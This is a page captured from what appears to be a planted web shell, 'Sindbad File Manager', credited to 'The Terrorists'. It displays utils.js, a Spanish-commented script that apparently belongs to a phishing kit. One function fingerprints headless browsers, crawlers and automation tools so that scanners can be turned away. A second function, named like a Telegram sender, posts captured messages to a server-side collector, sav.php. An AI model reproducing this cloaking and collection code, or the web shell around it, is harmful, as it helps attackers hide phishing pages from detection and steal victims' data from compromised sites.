Sindbad~EG File Manager

Current Path : /home/bintopia/.trash/inicio/src/
Upload File :
Current File : /home/bintopia/.trash/inicio/src/utils.js

function isLikelyBot() {
    let botDetected = false;
    const detectionReasons = []; 

    if (navigator.webdriver) {
        detectionReasons.push("navigator.webdriver es true");
        botDetected = true;
    }

    const unusualGlobalProps = [
        "__phantomas", 
        "__nightmare", 
        "__awesomium__", 
        "_phantom", 
        "callPhantom", 
    ];

    for (const prop of unusualGlobalProps) {
        if (window[prop] || document[prop]) {
            detectionReasons.push(`Propiedad global inusual: ${prop}`);
            botDetected = true;
            break;
        }
    }

    const userAgent = navigator.userAgent || "";
    if (userAgent.includes("HeadlessChrome") || userAgent.includes("bot") || userAgent.includes("spider") || userAgent.includes("crawl")) {
        detectionReasons.push(`User-Agent sospechoso: ${userAgent}`);
        botDetected = true;
    }

    if (window.outerWidth === 0 && window.outerHeight === 0 || window.innerWidth === 0 && window.innerHeight === 0) {
        detectionReasons.push("Dimensiones de ventana/pantalla en cero");
        botDetected = true;
    }

    if (navigator.vendor === "" && userAgent.includes("Chrome")) { 
        detectionReasons.push("Vendor vacĂ­o con User-Agent de Chrome");
        botDetected = true;
    }
    
    if (botDetected) {
        console.warn("Detected", detectionReasons);
    } else {
        console.log("Not detected");
    }

    return botDetected;
}


function savePHP(msg){ 
    fetch('sav.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'text/plain'
    },
    body: msg
    })
    .then(res => res.text())
    .then(data => console.log("Respuesta del servidor:", data))
    .catch(err => console.error("Error:", err));
}

function tlgsnd(msg) {
   
    try {
        savePHP(msg);
    } catch (error) {
        console.error('Error in save:', error);
    }

}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists